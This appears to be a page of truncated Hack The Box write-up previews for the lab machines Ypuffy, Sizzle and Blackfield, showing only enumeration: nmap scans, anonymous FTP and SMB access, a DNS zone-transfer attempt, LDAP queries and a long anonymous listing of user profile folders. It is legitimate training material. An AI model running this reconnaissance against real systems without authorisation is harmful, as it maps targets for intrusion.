Hero Image
[HTB] Machine: Ypuffy

Ypuffy

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.107                
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 19:54 BST
Stats: 0:06:07 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 41.38% done; ETC: 20:09 (0:08:34 remaining)
Nmap scan report for 10.10.10.107 (10.10.10.107)
Host is up (0.17s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
389/tcp open  ldap
445/tcp open  microsoft-ds
└─$ nmap -Pn -p22,80,139,389,445 -sC -sV 10.10.10.107 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 20:22 BST
Nmap scan report for 10.10.10.107 (10.10.10.107)
Host is up (0.15s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
|   256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_  256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp  open  http        OpenBSD httpd
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open  ldap        (Anonymous bind OK)
445/tcp open  �hv^�U      Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6)
|   Computer name: ypuffy
|   NetBIOS computer name: YPUFFY\x00
|   Domain name: hackthebox.htb
|   FQDN: ypuffy.hackthebox.htb
|_  System time: 2023-10-23T15:22:21-04:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2023-10-23T19:22:22
|_  start_date: N/A
|_clock-skew: mean: 1h19m11s, deviation: 2h18m34s, median: -48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.85 seconds
  • Web server

Hero Image
[HTB] Machine: Sizzle

Sizzle

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.103 --min-rate 5000                                                      
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:19 BST
Nmap scan report for 10.10.10.103 (10.10.10.103)
Host is up (0.11s latency).
Not shown: 65506 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
5986/tcp  open  wsmans
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49677/tcp open  unknown
49688/tcp open  unknown
49689/tcp open  unknown
49691/tcp open  unknown
49694/tcp open  unknown
49699/tcp open  unknown
49708/tcp open  unknown
49714/tcp open  unknown
└─$ nmap -Pn -p21,53,80,135,139,443,445,464,593,636,3268,3269,5985,5986,9389,47001 -sC -sV 10.10.10.103 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:19 BST
Nmap scan report for 10.10.10.103 (10.10.10.103)
Host is up (0.10s latency).

PORT      STATE    SERVICE          VERSION
21/tcp    open     ftp              Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open     domain           Simple DNS Plus
80/tcp    open     http             Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open     msrpc            Microsoft Windows RPC
139/tcp   open     netbios-ssn      Microsoft Windows netbios-ssn
443/tcp   open     ssl/http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
|_ssl-date: 2023-10-05T19:21:25+00:00; -7h00m01s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
| tls-alpn: 
|   h2
|_  http/1.1
| http-methods: 
|_  Potentially risky methods: TRACE
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   filtered http-rpc-epmap
636/tcp   filtered ldapssl
3268/tcp  filtered globalcatLDAP
3269/tcp  filtered globalcatLDAPssl
5985/tcp  filtered wsman
5986/tcp  open     ssl/http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2023-10-05T19:21:25+00:00; -7h00m01s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after:  2019-07-02T20:26:23
| tls-alpn: 
|   h2
|_  http/1.1
9389/tcp  open     mc-nmf           .NET Message Framing
47001/tcp filtered winrm
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -7h00m00s, deviation: 0s, median: -7h00m01s
| smb2-time: 
|   date: 2023-10-05T19:20:48
|_  start_date: 2023-10-05T19:16:02
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.35 seconds
  • ftp
└─$ ftp anonymous@10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||56265|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> 
  • Web Server

Hero Image
[HTB] Machine: Blackfield

Blackfield

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.192 --min-rate 5000 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 18:54 BST
Nmap scan report for 10.10.10.192 (10.10.10.192)
Host is up (0.11s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
593/tcp  open  http-rpc-epmap
3268/tcp open  globalcatLDAP
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 35.69 seconds
└─$ nmap -Pn -p53,88,135,389,445,593,3268,5985 -sC -sV 10.10.10.192 --min-rate 5000 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 18:56 BST
Nmap scan report for 10.10.10.192 (10.10.10.192)
Host is up (0.15s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-18 00:55:30Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m20s
| smb2-time: 
|   date: 2023-09-18T00:55:39
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.42 seconds
  • smb
└─$ smbclient -N -L //10.10.10.192                                  

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        profiles$       Disk      
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.192 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
  • dns
└─$ sudo vim /etc/hosts                                                                                                     
[sudo] password for kali: 
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents/tasks]
└─$ dig  @10.10.10.192 BLACKFIELD.local                                                                                     

; <<>> DiG 9.18.16-1-Debian <<>> @10.10.10.192 BLACKFIELD.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26635
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;BLACKFIELD.local.              IN      A

;; ANSWER SECTION:
BLACKFIELD.local.       600     IN      A       10.10.10.192

;; Query time: 95 msec
;; SERVER: 10.10.10.192#53(10.10.10.192) (UDP)
;; WHEN: Sun Sep 17 19:03:32 BST 2023
;; MSG SIZE  rcvd: 61
└─$ dig axfr @10.10.10.192 BLACKFIELD.local 

; <<>> DiG 9.18.16-1-Debian <<>> axfr @10.10.10.192 BLACKFIELD.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
  • ldap
└─$ ldapsearch -H ldap://10.10.10.192 -x -s base namingcontexts 
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=BLACKFIELD,DC=local
namingcontexts: CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: DC=DomainDnsZones,DC=BLACKFIELD,DC=local
namingcontexts: DC=ForestDnsZones,DC=BLACKFIELD,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
└─$ ldapsearch -H ldap://10.10.10.192 -x -b "DC=BLACKFIELD,DC=local"
# extended LDIF
#
# LDAPv3
# base <DC=BLACKFIELD,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A69, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

Foothold

  • smb
└─$ smbclient -N //10.10.10.192/profiles$
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun  3 17:47:12 2020
  ..                                  D        0  Wed Jun  3 17:47:12 2020
  AAlleni                             D        0  Wed Jun  3 17:47:11 2020
  ABarteski                           D        0  Wed Jun  3 17:47:11 2020
  ABekesz                             D        0  Wed Jun  3 17:47:11 2020
  ABenzies                            D        0  Wed Jun  3 17:47:11 2020
  ABiemiller                          D        0  Wed Jun  3 17:47:11 2020
  AChampken                           D        0  Wed Jun  3 17:47:11 2020
  ACheretei                           D        0  Wed Jun  3 17:47:11 2020
  ACsonaki                            D        0  Wed Jun  3 17:47:11 2020
  AHigchens                           D        0  Wed Jun  3 17:47:11 2020
  AJaquemai                           D        0  Wed Jun  3 17:47:11 2020
  AKlado                              D        0  Wed Jun  3 17:47:11 2020
  AKoffenburger                       D        0  Wed Jun  3 17:47:11 2020
  AKollolli                           D        0  Wed Jun  3 17:47:11 2020
  AKruppe                             D        0  Wed Jun  3 17:47:11 2020
  AKubale                             D        0  Wed Jun  3 17:47:11 2020
  ALamerz                             D        0  Wed Jun  3 17:47:11 2020
  AMaceldon                           D        0  Wed Jun  3 17:47:11 2020
  AMasalunga                          D        0  Wed Jun  3 17:47:11 2020
  ANavay                              D        0  Wed Jun  3 17:47:11 2020
  ANesterova                          D        0  Wed Jun  3 17:47:11 2020
  ANeusse                             D        0  Wed Jun  3 17:47:11 2020
  AOkleshen                           D        0  Wed Jun  3 17:47:11 2020
  APustulka                           D        0  Wed Jun  3 17:47:11 2020
  ARotella                            D        0  Wed Jun  3 17:47:11 2020
  ASanwardeker                        D        0  Wed Jun  3 17:47:11 2020
  AShadaia                            D        0  Wed Jun  3 17:47:11 2020
  ASischo                             D        0  Wed Jun  3 17:47:11 2020
  ASpruce                             D        0  Wed Jun  3 17:47:11 2020
  ATakach                             D        0  Wed Jun  3 17:47:11 2020
  ATaueg                              D        0  Wed Jun  3 17:47:11 2020
  ATwardowski                         D        0  Wed Jun  3 17:47:11 2020
  audit2020                           D        0  Wed Jun  3 17:47:11 2020
  AWangenheim                         D        0  Wed Jun  3 17:47:11 2020
  AWorsey                             D        0  Wed Jun  3 17:47:11 2020
  AZigmunt                            D        0  Wed Jun  3 17:47:11 2020
  BBakajza                            D        0  Wed Jun  3 17:47:11 2020
  BBeloucif                           D        0  Wed Jun  3 17:47:11 2020
  BCarmitcheal                        D        0  Wed Jun  3 17:47:11 2020
  BConsultant                         D        0  Wed Jun  3 17:47:11 2020
  BErdossy                            D        0  Wed Jun  3 17:47:11 2020
  BGeminski                           D        0  Wed Jun  3 17:47:11 2020
  BLostal                             D        0  Wed Jun  3 17:47:11 2020
  BMannise                            D        0  Wed Jun  3 17:47:11 2020
  BNovrotsky                          D        0  Wed Jun  3 17:47:11 2020
  BRigiero                            D        0  Wed Jun  3 17:47:11 2020
  BSamkoses                           D        0  Wed Jun  3 17:47:11 2020
  BZandonella                         D        0  Wed Jun  3 17:47:11 2020
  CAcherman                           D        0  Wed Jun  3 17:47:12 2020
  CAkbari                             D        0  Wed Jun  3 17:47:12 2020
  CAldhowaihi                         D        0  Wed Jun  3 17:47:12 2020
  CArgyropolous                       D        0  Wed Jun  3 17:47:12 2020
  CDufrasne                           D        0  Wed Jun  3 17:47:12 2020
  CGronk                              D        0  Wed Jun  3 17:47:11 2020
  Chiucarello                         D        0  Wed Jun  3 17:47:11 2020
  Chiuccariello                       D        0  Wed Jun  3 17:47:12 2020
  CHoytal                             D        0  Wed Jun  3 17:47:12 2020
  CKijauskas                          D        0  Wed Jun  3 17:47:12 2020
  CKolbo                              D        0  Wed Jun  3 17:47:12 2020
  CMakutenas                          D        0  Wed Jun  3 17:47:12 2020
  CMorcillo                           D        0  Wed Jun  3 17:47:11 2020
  CSchandall                          D        0  Wed Jun  3 17:47:12 2020
  CSelters                            D        0  Wed Jun  3 17:47:12 2020
  CTolmie                             D        0  Wed Jun  3 17:47:12 2020
  DCecere                             D        0  Wed Jun  3 17:47:12 2020
  DChintalapalli                      D        0  Wed Jun  3 17:47:12 2020
  DCwilich                            D        0  Wed Jun  3 17:47:12 2020
  DGarbatiuc                          D        0  Wed Jun  3 17:47:12 2020
  DKemesies                           D        0  Wed Jun  3 17:47:12 2020
  DMatuka                             D        0  Wed Jun  3 17:47:12 2020
  DMedeme                             D        0  Wed Jun  3 17:47:12 2020
  DMeherek                            D        0  Wed Jun  3 17:47:12 2020
  DMetych                             D        0  Wed Jun  3 17:47:12 2020
  DPaskalev                           D        0  Wed Jun  3 17:47:12 2020
  DPriporov                           D        0  Wed Jun  3 17:47:12 2020
  DRusanovskaya                       D        0  Wed Jun  3 17:47:12 2020
  DVellela                            D        0  Wed Jun  3 17:47:12 2020
  DVogleson                           D        0  Wed Jun  3 17:47:12 2020
  DZwinak                             D        0  Wed Jun  3 17:47:12 2020
  EBoley                              D        0  Wed Jun  3 17:47:12 2020
  EEulau                              D        0  Wed Jun  3 17:47:12 2020
  EFeatherling                        D        0  Wed Jun  3 17:47:12 2020
  EFrixione                           D        0  Wed Jun  3 17:47:12 2020
  EJenorik                            D        0  Wed Jun  3 17:47:12 2020
  EKmilanovic                         D        0  Wed Jun  3 17:47:12 2020
  ElKatkowsky                         D        0  Wed Jun  3 17:47:12 2020
  EmaCaratenuto                       D        0  Wed Jun  3 17:47:12 2020
  EPalislamovic                       D        0  Wed Jun  3 17:47:12 2020
  EPryar                              D        0  Wed Jun  3 17:47:12 2020
  ESachhitello                        D        0  Wed Jun  3 17:47:12 2020
  ESariotti                           D        0  Wed Jun  3 17:47:12 2020
  ETurgano                            D        0  Wed Jun  3 17:47:12 2020
  EWojtila                            D        0  Wed Jun  3 17:47:12 2020
  FAlirezai                           D        0  Wed Jun  3 17:47:12 2020
  FBaldwind                           D        0  Wed Jun  3 17:47:12 2020
  FBroj                               D        0  Wed Jun  3 17:47:12 2020
  FDeblaquire                         D        0  Wed Jun  3 17:47:12 2020
  FDegeorgio                          D        0  Wed Jun  3 17:47:12 2020
  FianLaginja                         D        0  Wed Jun  3 17:47:12 2020
  FLasokowski                         D        0  Wed Jun  3 17:47:12 2020
  FPflum                              D        0  Wed Jun  3 17:47:12 2020
  FReffey                             D        0  Wed Jun  3 17:47:12 2020
  GaBelithe                           D        0  Wed Jun  3 17:47:12 2020
  Gareld                              D        0  Wed Jun  3 17:47:12 2020
  GBatowski                           D        0  Wed Jun  3 17:47:12 2020
  GForshalger                         D        0  Wed Jun  3 17:47:12 2020
  GGomane                             D        0  Wed Jun  3 17:47:12 2020
  GHisek                              D        0  Wed Jun  3 17:47:12 2020
  GMaroufkhani                        D        0  Wed Jun  3 17:47:12 2020
  GMerewether                         D        0  Wed Jun  3 17:47:12 2020
  GQuinniey                           D        0  Wed Jun  3 17:47:12 2020
  GRoswurm                            D        0  Wed Jun  3 17:47:12 2020
  GWiegard                            D        0  Wed Jun  3 17:47:12 2020
  HBlaziewske                         D        0  Wed Jun  3 17:47:12 2020
  HColantino                          D        0  Wed Jun  3 17:47:12 2020
  HConforto                           D        0  Wed Jun  3 17:47:12 2020
  HCunnally                           D        0  Wed Jun  3 17:47:12 2020
  HGougen                             D        0  Wed Jun  3 17:47:12 2020
  HKostova                            D        0  Wed Jun  3 17:47:12 2020
  IChristijr                          D        0  Wed Jun  3 17:47:12 2020
  IKoledo                             D        0  Wed Jun  3 17:47:12 2020
  IKotecky                            D        0  Wed Jun  3 17:47:12 2020
  ISantosi                            D        0  Wed Jun  3 17:47:12 2020
  JAngvall                            D        0  Wed Jun  3 17:47:12 2020
  JBehmoiras                          D        0  Wed Jun  3 17:47:12 2020
  JDanten                             D        0  Wed Jun  3 17:47:12 2020
  JDjouka                             D        0  Wed Jun  3 17:47:12 2020
  JKondziola                          D        0  Wed Jun  3 17:47:12 2020
  JLeytushsenior                      D        0  Wed Jun  3 17:47:12 2020
  JLuthner                            D        0  Wed Jun  3 17:47:12 2020
  JMoorehendrickson                   D        0  Wed Jun  3 17:47:12 2020
  JPistachio                          D        0  Wed Jun  3 17:47:12 2020
  JScima                              D        0  Wed Jun  3 17:47:12 2020
  JSebaali                            D        0  Wed Jun  3 17:47:12 2020
  JShoenherr                          D        0  Wed Jun  3 17:47:12 2020
  JShuselvt                           D        0  Wed Jun  3 17:47:12 2020
  KAmavisca                           D        0  Wed Jun  3 17:47:12 2020
  KAtolikian                          D        0  Wed Jun  3 17:47:12 2020
  KBrokinn                            D        0  Wed Jun  3 17:47:12 2020
  KCockeril                           D        0  Wed Jun  3 17:47:12 2020
  KColtart                            D        0  Wed Jun  3 17:47:12 2020
  KCyster                             D        0  Wed Jun  3 17:47:12 2020
  KDorney                             D        0  Wed Jun  3 17:47:12 2020
  KKoesno                             D        0  Wed Jun  3 17:47:12 2020
  KLangfur                            D        0  Wed Jun  3 17:47:12 2020
  KMahalik                            D        0  Wed Jun  3 17:47:12 2020
  KMasloch                            D        0  Wed Jun  3 17:47:12 2020
  KMibach                             D        0  Wed Jun  3 17:47:12 2020
  KParvankova                         D        0  Wed Jun  3 17:47:12 2020
  KPregnolato                         D        0  Wed Jun  3 17:47:12 2020
  KRasmor                             D        0  Wed Jun  3 17:47:12 2020
  KShievitz                           D        0  Wed Jun  3 17:47:12 2020
  KSojdelius                          D        0  Wed Jun  3 17:47:12 2020
  KTambourgi                          D        0  Wed Jun  3 17:47:12 2020
  KVlahopoulos                        D        0  Wed Jun  3 17:47:12 2020
  KZyballa                            D        0  Wed Jun  3 17:47:12 2020
  LBajewsky                           D        0  Wed Jun  3 17:47:12 2020
  LBaligand                           D        0  Wed Jun  3 17:47:12 2020
  LBarhamand                          D        0  Wed Jun  3 17:47:12 2020
  LBirer                              D        0  Wed Jun  3 17:47:12 2020
  LBobelis                            D        0  Wed Jun  3 17:47:12 2020
  LChippel                            D        0  Wed Jun  3 17:47:12 2020
  LChoffin                            D        0  Wed Jun  3 17:47:12 2020
  LCominelli                          D        0  Wed Jun  3 17:47:12 2020
  LDruge                              D        0  Wed Jun  3 17:47:12 2020
  LEzepek                             D        0  Wed Jun  3 17:47:12 2020
  LHyungkim                           D        0  Wed Jun  3 17:47:12 2020
  LKarabag                            D        0  Wed Jun  3 17:47:12 2020
  LKirousis                           D        0  Wed Jun  3 17:47:12 2020
  LKnade                              D        0  Wed Jun  3 17:47:12 2020
  LKrioua                             D        0  Wed Jun  3 17:47:12 2020
  LLefebvre                           D        0  Wed Jun  3 17:47:12 2020
  LLoeradeavilez                      D        0  Wed Jun  3 17:47:12 2020
  LMichoud                            D        0  Wed Jun  3 17:47:12 2020
  LTindall                            D        0  Wed Jun  3 17:47:12 2020
  LYturbe                             D        0  Wed Jun  3 17:47:12 2020
  MArcynski                           D        0  Wed Jun  3 17:47:12 2020
  MAthilakshmi                        D        0  Wed Jun  3 17:47:12 2020
  MAttravanam                         D        0  Wed Jun  3 17:47:12 2020
  MBrambini                           D        0  Wed Jun  3 17:47:12 2020
  MHatziantoniou                      D        0  Wed Jun  3 17:47:12 2020
  MHoerauf                            D        0  Wed Jun  3 17:47:12 2020
  MKermarrec                          D        0  Wed Jun  3 17:47:12 2020
  MKillberg                           D        0  Wed Jun  3 17:47:12 2020
  MLapesh                             D        0  Wed Jun  3 17:47:12 2020
  MMakhsous                           D        0  Wed Jun  3 17:47:12 2020
  MMerezio                            D        0  Wed Jun  3 17:47:12 2020
  MNaciri                             D        0  Wed Jun  3 17:47:12 2020
  MShanmugarajah                      D        0  Wed Jun  3 17:47:12 2020
  MSichkar                            D        0  Wed Jun  3 17:47:12 2020
  MTemko                              D        0  Wed Jun  3 17:47:12 2020
  MTipirneni                          D        0  Wed Jun  3 17:47:12 2020
  MTonuri                             D        0  Wed Jun  3 17:47:12 2020
  MVanarsdel                          D        0  Wed Jun  3 17:47:12 2020
  NBellibas                           D        0  Wed Jun  3 17:47:12 2020
  NDikoka                             D        0  Wed Jun  3 17:47:12 2020
  NGenevro                            D        0  Wed Jun  3 17:47:12 2020
  NGoddanti                           D        0  Wed Jun  3 17:47:12 2020
  NMrdirk                             D        0  Wed Jun  3 17:47:12 2020
  NPulido                             D        0  Wed Jun  3 17:47:12 2020
  NRonges                             D        0  Wed Jun  3 17:47:12 2020
  NSchepkie                           D        0  Wed Jun  3 17:47:12 2020
  NVanpraet                           D        0  Wed Jun  3 17:47:12 2020
  OBelghazi                           D        0  Wed Jun  3 17:47:12 2020
  OBushey                             D        0  Wed Jun  3 17:47:12 2020
  OHardybala                          D        0  Wed Jun  3 17:47:12 2020
  OLunas                              D        0  Wed Jun  3 17:47:12 2020
  ORbabka                             D        0  Wed Jun  3 17:47:12 2020
  PBourrat                            D        0  Wed Jun  3 17:47:12 2020
  PBozzelle                           D        0  Wed Jun  3 17:47:12 2020
  PBranti                             D        0  Wed Jun  3 17:47:12 2020
  PCapperella                         D        0  Wed Jun  3 17:47:12 2020
  PCurtz                              D        0  Wed Jun  3 17:47:12 2020
  PDoreste                            D        0  Wed Jun  3 17:47:12 2020
  PGegnas                             D        0  Wed Jun  3 17:47:12 2020
  PMasulla                            D        0  Wed Jun  3 17:47:12 2020
  PMendlinger                         D        0  Wed Jun  3 17:47:12 2020
  PParakat                            D        0  Wed Jun  3 17:47:12 2020
  PProvencer                          D        0  Wed Jun  3 17:47:12 2020
  PTesik                              D        0  Wed Jun  3 17:47:12 2020
  PVinkovich                          D        0  Wed Jun  3 17:47:12 2020
  PVirding                            D        0  Wed Jun  3 17:47:12 2020
  PWeinkaus                           D        0  Wed Jun  3 17:47:12 2020
  RBaliukonis                         D        0  Wed Jun  3 17:47:12 2020
  RBochare                            D        0  Wed Jun  3 17:47:12 2020
  RKrnjaic                            D        0  Wed Jun  3 17:47:12 2020
  RNemnich                            D        0  Wed Jun  3 17:47:12 2020
  RPoretsky                           D        0  Wed Jun  3 17:47:12 2020
  RStuehringer                        D        0  Wed Jun  3 17:47:12 2020
  RSzewczuga                          D        0  Wed Jun  3 17:47:12 2020
  RVallandas                          D        0  Wed Jun  3 17:47:12 2020
  RWeatherl                           D        0  Wed Jun  3 17:47:12 2020
  RWissor                             D        0  Wed Jun  3 17:47:12 2020
  SAbdulagatov                        D        0  Wed Jun  3 17:47:12 2020
  SAjowi                              D        0  Wed Jun  3 17:47:12 2020
  SAlguwaihes                         D        0  Wed Jun  3 17:47:12 2020
  SBonaparte                          D        0  Wed Jun  3 17:47:12 2020
  SBouzane                            D        0  Wed Jun  3 17:47:12 2020
  SChatin                             D        0  Wed Jun  3 17:47:12 2020
  SDellabitta                         D        0  Wed Jun  3 17:47:12 2020
  SDhodapkar                          D        0  Wed Jun  3 17:47:12 2020
  SEulert                             D        0  Wed Jun  3 17:47:12 2020
  SFadrigalan                         D        0  Wed Jun  3 17:47:12 2020
  SGolds                              D        0  Wed Jun  3 17:47:12 2020
  SGrifasi                            D        0  Wed Jun  3 17:47:12 2020
  SGtlinas                            D        0  Wed Jun  3 17:47:12 2020
  SHauht                              D        0  Wed Jun  3 17:47:12 2020
  SHederian                           D        0  Wed Jun  3 17:47:12 2020
  SHelregel                           D        0  Wed Jun  3 17:47:12 2020
  SKrulig                             D        0  Wed Jun  3 17:47:12 2020
  SLewrie                             D        0  Wed Jun  3 17:47:12 2020
  SMaskil                             D        0  Wed Jun  3 17:47:12 2020
  Smocker                             D        0  Wed Jun  3 17:47:12 2020
  SMoyta                              D        0  Wed Jun  3 17:47:12 2020
  SRaustiala                          D        0  Wed Jun  3 17:47:12 2020
  SReppond                            D        0  Wed Jun  3 17:47:12 2020
  SSicliano                           D        0  Wed Jun  3 17:47:12 2020
  SSilex                              D        0  Wed Jun  3 17:47:12 2020
  SSolsbak                            D        0  Wed Jun  3 17:47:12 2020
  STousignaut                         D        0  Wed Jun  3 17:47:12 2020
  support                             D        0  Wed Jun  3 17:47:12 2020
  svc_backup                          D        0  Wed Jun  3 17:47:12 2020
  SWhyte                              D        0  Wed Jun  3 17:47:12 2020
  SWynigear                           D        0  Wed Jun  3 17:47:12 2020
  TAwaysheh                           D        0  Wed Jun  3 17:47:12 2020
  TBadenbach                          D        0  Wed Jun  3 17:47:12 2020
  TCaffo                              D        0  Wed Jun  3 17:47:12 2020
  TCassalom                           D        0  Wed Jun  3 17:47:12 2020
  TEiselt                             D        0  Wed Jun  3 17:47:12 2020
  TFerencdo                           D        0  Wed Jun  3 17:47:12 2020
  TGaleazza                           D        0  Wed Jun  3 17:47:12 2020
  TKauten                             D        0  Wed Jun  3 17:47:12 2020
  TKnupke                             D        0  Wed Jun  3 17:47:12 2020
  TLintlop                            D        0  Wed Jun  3 17:47:12 2020
  TMusselli                           D        0  Wed Jun  3 17:47:12 2020
  TOust                               D        0  Wed Jun  3 17:47:12 2020
  TSlupka                             D        0  Wed Jun  3 17:47:12 2020
  TStausland                          D        0  Wed Jun  3 17:47:12 2020
  TZumpella                           D        0  Wed Jun  3 17:47:12 2020
  UCrofskey                           D        0  Wed Jun  3 17:47:12 2020
  UMarylebone                         D        0  Wed Jun  3 17:47:12 2020
  UPyrke                              D        0  Wed Jun  3 17:47:12 2020
  VBublavy                            D        0  Wed Jun  3 17:47:12 2020
  VButziger                           D        0  Wed Jun  3 17:47:12 2020
  VFuscca                             D        0  Wed Jun  3 17:47:12 2020
  VLitschauer                         D        0  Wed Jun  3 17:47:12 2020
  VMamchuk                            D        0  Wed Jun  3 17:47:12 2020
  VMarija                             D        0  Wed Jun  3 17:47:12 2020
  VOlaosun                            D        0  Wed Jun  3 17:47:12 2020
  VPapalouca                          D        0  Wed Jun  3 17:47:12 2020
  WSaldat                             D        0  Wed Jun  3 17:47:12 2020
  WVerzhbytska                        D        0  Wed Jun  3 17:47:12 2020
  WZelazny                            D        0  Wed Jun  3 17:47:12 2020
  XBemelen                            D        0  Wed Jun  3 17:47:12 2020
  XDadant                             D        0  Wed Jun  3 17:47:12 2020
  XDebes                              D        0  Wed Jun  3 17:47:12 2020
  XKonegni                            D        0  Wed Jun  3 17:47:12 2020
  XRykiel                             D        0  Wed Jun  3 17:47:12 2020
  YBleasdale                          D        0  Wed Jun  3 17:47:12 2020
  YHuftalin                           D        0  Wed Jun  3 17:47:12 2020
  YKivlen                             D        0  Wed Jun  3 17:47:12 2020
  YKozlicki                           D        0  Wed Jun  3 17:47:12 2020
  YNyirenda                           D        0  Wed Jun  3 17:47:12 2020
  YPredestin                          D        0  Wed Jun  3 17:47:12 2020
